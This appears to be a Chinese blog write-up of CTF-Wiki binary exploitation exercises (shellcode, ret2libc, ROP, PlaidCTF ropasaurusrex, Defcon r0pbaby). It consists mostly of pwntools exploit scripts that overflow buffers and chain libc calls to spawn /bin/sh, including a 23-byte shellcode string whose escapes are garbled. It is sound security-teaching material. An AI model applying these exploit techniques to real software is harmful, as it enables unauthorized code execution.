• 【二进制】CTF-Wiki PWN里面的一些练习题(Basic-ROP篇)


    sniperoj-pwn100-shellcode-x86-64

    23 字节 shellcode

    "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"

    首先根据 gdb 确定偏移,然后把因为有个 leave 指令会破坏前面的,所以前面的填充为脏数据,然后加上返回地址占据的 8 位空间,确定在 buf_addr 后面 24+8 填充 shellcode

    from pwn import *
    sh = process('./shellcode')
    shellcode_x64 = "x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x56x53x54x5fx6ax3bx58x31xd2x0fx05"
    sh.recvuntil('[')
    buf_addr = sh.recvuntil(']', drop=True)
    buf_addr = int(buf_addr, 16)
    payload = 'b' * 24 + p64(buf_addr + 32) + shellcode_x64
    print payload
    sh.sendline(payload)
    sh.interactive()

    train.cs.nctu.edu.tw:ret2libc

    这道题开启了 NX 保护,然而运行的时候会把 puts 的地址跟 /bin/sh 的地址告诉我们,使用 pwntools 可以把地址提取出来,再根据 libcsearcher 查出 system 的地址,这样就可以 getshell 了

    exp:

    from pwn import *
    from LibcSearcher import LibcSearcher
    p=process('./pwn')
    p.recvuntil('is ')
    bin_addr = int(p.recvuntil('
    ), 16)
    print hex(bin_addr)
    p.recvuntil('is ')
    puts_addr = int(p.recvuntil('
    '), 16)
    print hex(puts_addr)
    libc=LibcSearcher('puts',puts_addr)
    libc_base=puts_addr-libc.dump('puts')
    sys_addr=libc_base+libc.dump('system')
    payload2='a'*32+p32(sys_addr)+p32(1234)+p32(bin_addr)
    p.sendline(payload2)
    p.interactive()

    讲一下 p.recvuntil('is ') 代表的是 "is" 之前的那一块,当下一个 recvuntil 的时候就会把这那块去掉了

    把脚本里的第一个 p.recvuntil('is ') 替换成 

    print p.recvuntil('of ')

    print p.recvuntil('is ')

    就可以看出来作用是什么

    image.png

    ps. 正常会输出这一些("^C" 是 ctrl+c 退出造成的,不包括):

    image.png

    train.cs.nctu.edu.tw:rop

    没找到题目,从大佬博客里面找到的,题目使用 nc 连上以后会输出这些 gadgets 需要自己去构造 payload

    1566026309029.png

    把 push 的那一些 16 进制转换一下

    image.png

    大佬说通过这些就可以构造出 payload 了

    exp:我连不上。。。

    from pwn import *
    sh = remote('bamboofox.cs.nctu.edu.tw',10001)
    payload = "9,9,1,10,9,3,3,12,4,12,2,2,8,8,8,8,8,0"
    sh.sendline(payload)
    sh.interactive()

    2013-PlaidCTF-ropasaurusrex

    没有 system 和 /bin/sh,通过 ret2libc 的方法在 libc 里面找到,这里注意一下第一次泄露的是 got 表的内容,写成了 plt 的,结果废了两个小时没看出来,还以为又出现了什么超出知识水平的操作,,CTF 需要视力!!

    exp:

    from pwn import *
    from LibcSearcher import LibcSearcher
    p=process('./rop')
    elf=ELF('./rop')
    write_plt=elf.plt['write']
    write_got=elf.got['write']
    payload='a'*140+p32(write_plt)+p32(0x80483F4)+p32(1)+p32(write_got)+p32(4)
    p.sendline(payload)
    write_addr=u32(p.recv(4))
    libc=LibcSearcher('write',write_addr)
    libc_base=write_addr-libc.dump('write')
    sys_addr=libc_base+libc.dump('system')
    bin_addr=libc_base+libc.dump('str_bin_sh')
    payload1='a'*140+p32(sys_addr)+p32(1234)+p32(bin_addr)
    p.sendline(payload1)
    p.interactive()

    Defcon 2015 Qualifier: R0pbaby

    checksec 检查一下,发现是 64 位程序,所以参数应该是存储在 rdi 寄存器上

    64 位程序当参数少于 7 个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9

    通过 ROPgadget --binary /libc/x86_64-linux-gnu/libc.so.6 --only "pop|ret" | grep "rdi"

    获取到 pop rdi ;ret 的地址:

    image.png

    通过程序自身提供的功能,可以获取到 libc 的地址与任意函数的地址

    image.png

    同时第三个功能存在溢出,经过计算溢出的长度为 8 

    image.png

    写 exp:

    from pwn import *
    from LibcSearcher import *
    p=process('./pwn')
    elf=ELF('./pwn')
    rdi_offset=0x0000000000021102
    p.recvuntil(': ')
    p.sendline('2')
    p.recvuntil('symbol: ')
    p.sendline('system')
    p.recvuntil(': ')
    sys_addr=p.recvuntil('
    ',drop=True)
    sys_addr=int(sys_addr,16)
    libc=LibcSearcher('system',sys_addr)
    libc_base=sys_addr-libc.dump('system')
    bin_addr=libc_base+libc.dump('str_bin_sh')
    rdi_addr=libc_base+rdi_offset
    payload='a'*8+p64(rdi_addr)+p64(bin_addr)+p64(sys_addr)
    p.recvuntil(': ')
    p.sendline('3')
    p.recvuntil('): ')
    length=len(payload)
    print length
    print str(length)
    p.sendline(str(length))
    p.sendline(payload)
    p.interactive()

    大佬的 exp:

    from pwn import *
    from LibcSearcher import *
    ropbaby = ELF('./pwn')
    sh = process('./pwn')
    context.word_size = 64
    def getfuncaddress(func):
        sh.recvuntil(': ')
        sh.sendline('2')
        sh.recvuntil('symbol: ')
        sh.sendline(func)
        sh.recvuntil(': ')
        addr = sh.recvuntil('
    ', drop=True)
        return int(addr, 16)
    def addropbuff(payload):
        sh.recvuntil(': ')
        sh.sendline('3')
        sh.recvuntil('): ')
        length = len(payload)
        sh.sendline(str(length))
        sh.sendline(payload)
    rdi_ret_offset = 0x0000000000021102
    system_addr = getfuncaddress('system')
    libc = LibcSearcher('system', system_addr)
    libc_base = system_addr - libc.dump('system')
    binsh_addr = libc.dump('str_bin_sh') + libc_base
    rdi_ret = rdi_ret_offset + libc_base
    print hex(system_addr), hex(binsh_addr), hex(rdi_ret)
    payload = flat(['b' * 8, rdi_ret, binsh_addr, system_addr])
    addropbuff(payload)
    sh.interactive()
  • 相关阅读:
    最长上升子序列问题
    多重部分和问题 (dp)
    01背包问题的延伸即变形 (dp)
    完全背包问题入门 (dp)
    最长公共子序列问题
    01背包入门 dp
    POJ 30253 Fence Repair (二叉树+优先队列)
    POJ 3069 Saruman's Army (模拟)
    [leetcode-357-Count Numbers with Unique Digits]
    [leetcode-474-Ones and Zeroes]
  • 原文地址:https://www.cnblogs.com/yichen115/p/11966255.html
Copyright © 2020-2023  润新知